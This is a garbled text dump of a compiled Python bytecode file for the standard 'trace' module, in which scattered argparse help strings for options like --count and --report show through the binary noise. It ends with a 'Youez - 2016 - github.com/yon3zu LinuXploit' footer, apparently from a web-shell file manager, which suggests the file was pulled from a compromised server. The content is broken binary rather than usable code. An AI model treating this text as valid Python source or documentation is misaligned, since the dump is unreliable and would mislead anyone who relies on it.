�%.2f� �r��%s(%d)r2rD)r�r��f_linenorGrar�rUr�r
rr,rv�getliner�)	rrrrrr�rf�bnamer�s	         rr�� Trace.localtrace_trace_and_count-s����&�=��|�|�/�/�H��^�^�F��"�C�#�{�{���s�A�6��:�D�K�K�������f���$�/�/� 9�:��D��G�G�$�$�X�.�E��$�$�X�6�D��(�e�_�,�"�5���d�D�b�)����������r"c��US:Xa�URRnURnUR(a"[	S[5UR-
-SS9 [RRU5n[R"XE5n[	SXe4-SS9 U(a[	SUSS9 UR$[	5 UR$)Nr�rrrrr2rD)r�r�r r�rUr�r
rr,rvr!r�)rrrrrr�r"r�s        rr��Trace.localtrace_trace@s����&�=��|�|�/�/�H��^�^�F�����f���$�/�/� 9�:��D��G�G�$�$�X�.�E��$�$�X�6�D��(�e�_�,�"�5���d�D�b�)����������r"c���US:XaQURRnURnXE4nURR	US5S-URU'UR
$)Nr�rr
)r�r�r rGrar�)rrrrrr�rfs       rr��Trace.localtrace_countQsU���&�=��|�|�/�/�H��^�^�F��"�C�#�{�{���s�A�6��:�D�K�K������r"c��[URURURURUR
S9$)N)rKrLrJrC)rrGrKrLr�r�)rs r�results�
Trace.resultsYs2���t�{�{�4�;�;�'+�|�|�+/�+<�+<�'+�}�}�6�	6r")
r�r�r�rGr�r�r�rKr�rLr�r�r�)	r
r
rrr)r)NNFr#)r$r%r&r'rr�r�r�r
r�r�r�r�r�r�r)r(r)r"rrr�sI��DE�DH��0�d%�
)�	�'.�R	8�-��.�&�"�6r"c�^^�SSKnUR5nURSSSS9 URSS5nURSS	S
SS9 URS
SS
SS9 URSSS
SS9 URSSS
SS9 URS5nUR	5nURSSS
SS9 URSSS
SS9 URSSSS 9 URS!S"S#S 9 URS$S%S
S&S9 URS'S(S
S)S9 URS*S+S
S,S9 URS-S.5nURS/S0/S1S29 URS3S0/S4S29 URS5S
S6S7S29 URS8S9S:S;9 URS<UR
S=S;9 UR
5nUR(a,[R"S>5m[R"S?5mUU4S@jnURVVs/sH+ofRSA5HnUR5PM M- snnUl
URVVs/sH1ofR[R5HnU"U5PM
 M3 snnUlUR(aqUR (dUR#SB5 [%UR UR SC9n	U	R'UR(UR*UR,5$[/UR0UR2UR4UR6/5(dUR#SD5 UR4(a3UR2(dUR0(aUR#SE5 UR*(a"UR2(dUR#SF5 UR8cUR#SG5 [;UR2UR0UR4UR6URURUR UR UR<SH9	n
UR>(anSSK nUR8nURCU5up�nURD/URFQ[Hl%SIURDURLURNUSSJ.nO�UR8/URFQ[Hl%[RPRSUR85[HRPS'[TRV"UR85n[YUR[5UR8SK5nSSS5 UR8SISSSL.nU
R]WUU5 U
Re5n	URf(d2U	R'UR(UR*UR,5 ggs snnfs snnf!,(df   N�=f![^a9n[HR`"SM[HRJS<SNU<35 SnAN�SnAf[ba N�f=f)ONrz	--version�versionz	trace 2.0)�actionr,zMain optionsz(One of these (or --report) must be givenz-cz--count�
store_truez�Count the number of times each line is executed and write the counts to <module>.cover for each module executed, in the module's directory. See also --coverdir, --file, --no-report below.)r-�helpz-tz--tracez3Print each line to sys.stdout before it is executedz-lz--listfuncsz�Keep track of which functions are executed at least once and write the results to sys.stdout after the program exits. Cannot be specified alongside --trace or --count.z-Tz--trackcallsz^Keep track of caller/called pairs and write the results to sys.stdout after the program exits.�	Modifiersz-rz--reportz�Generate a report from a counts file; does not execute any code. --file must specify the results file to read, which must have been created in a previous run with --count --file=FILEz-Rz--no-reportz^Do not generate the coverage report files. Useful if you want to accumulate over several runs.z-fz--filez+File to accumulate counts over several runs)r/z-Cz
--coverdirz�Directory where the report files go. The coverage report for <package>.<module> will be written to file <dir>/<package>/<module>.coverz-mz	--missingz?Annotate executable lines that were not executed with ">>>>>> "z-sz	--summaryz\Write a brief summary for each file to sys.stdout. Can only be used with --count or --reportz-gz--timingzQPrefix each line with the time since the program started. Only used while tracing�FilterszCan be specified multiple timesz--ignore-module�appendzqIgnore the given module(s) and its submodules (if it is a package). Accepts comma separated list of module names.)r-�defaultr/z--ignore-dirzWIgnore files in the given directory (multiple directories can be joined by os.pathsep).z--moduleFzTrace a module. �progname�?zfile to run as main program)�nargsr/�	argumentszarguments to the program�stdlib�
platstdlibc�>�[RR[RRU55nUR	ST5R	ST5n[RRU5$)Nz$prefixz$exec_prefix)r
r�
expanduser�
expandvarsr7r)�s�_exec_prefix�_prefixs ��r�parse_ignore_dir�main.<locals>.parse_ignore_dir�sX����G�G���r�w�w�1�1�!�4�5��
�I�I�i��)�1�1�.�,�O���w�w����"�"r"�,z-r/--report requires -f/--file)rKrLzLmust specify one of --trace, --count, --report, --listfuncs, or --trackcallsz8cannot specify both --listfuncs and (--trace or --count)z3--summary can only be used with --count or --reportz3progname is missing: required with the main options)r�r�r�r�rKrLr�r�)r$r�__package__�
__loader__�__spec__�
__cached__r�)rr$rCrFzCannot run file z
 because: )4�argparse�ArgumentParser�add_argument�add_argument_group�add_mutually_exclusive_group�	REMAINDER�
parse_args�
ignore_dir�	sysconfig�get_path�
ignore_module�split�stripr
�pathsep�reportrF�errorrr��missingr�r��anyr�r��	listfuncs�
trackcallsr4rr��module�runpy�_get_module_detailsr�r7r4�argv�parent�loaderrrr�io�	open_coder�r�r�rR�exit�
SystemExitr)�	no_report)rG�parser�grp�_grp�optsr@r�rr=r)�tr\�module_name�mod_name�mod_specr��globsr�rXr>r?s                   @@r�mainro_s�����
�
$�
$�
&�F�
����I�{��K�
�
#�
#�N�6�8�C����T�9�\�&��'�
���T�9�\�F��H����T�=��E��F����T�>�,�7��8��
#�
#�K�
0�C��+�+�-�D����d�J�|��� �
	���d�M�,�G��H����T�8�>��@����T�<�2��3����T�;�|�������T�;�|�=��>����T�:�l�+��,��
#�
#�I�-�/�C����&�x��!��"����^�H�b�G��H����
�<��/��1�
���
�#�.��0�
����8�+=�+=�+��-�����D�����$�$�X�.�� �)�)�,�7��#�$(�#5�#5�O�#5�a�����#��)�)�+�AM�&�#5�O�D��!%���N� /�1������9L�A�(��*�9L�+� /�N�D�O��{�{��y�y��L�L�9�:�!����D�I�I�F���$�$�T�\�\�4�<�<����O�O���
�
�D�J�J�������H�I�I����4�	5��~�~�4�:�:�������O�P��|�|�D�J�J����J�K��}�}�����J�K�
�d�j�j�$�*�*�����?�?�t�7I�7I��������i�i����	5�A�
��;�;���-�-�K�',�'@�'@��'M�$�H���(�(�:�4�>�>�:�C�H�&� �,�,�'���&�o�o�$�"�
�E��
�
�7����7�C�H��'�'�/�/�$�-�-�8�C�H�H�Q�K����d�m�m�,���r�w�w�y�$�-�-��@��-�!�M�M�&�#�"�	�E�	
����u�e�$��i�i�k�G��>�>����d�l�l�D�L�L�$�-�-�H���O��N�X-�,���H����S�X�X�a�[�#�F�G�G���
��
�sC�62W2�8W8�C;X�&W>�2,X�>
X�X�
Y�/Y
�

Y�Yr�r�)�__doc__�__all__rarvr
r4rOr�ryr�rr�rN�timerr�r�r�rr0r>rr�r�r�rurror$r)r"r�<module>rss���<�(�%�
&��	��	�
�����	�
�
�#��#��0�0�d� �8r�r�h�
�
�.#�T6�T6�lPI�d�Z���F�r"

Youez - 2016 - github.com/yon3zu
LinuXploit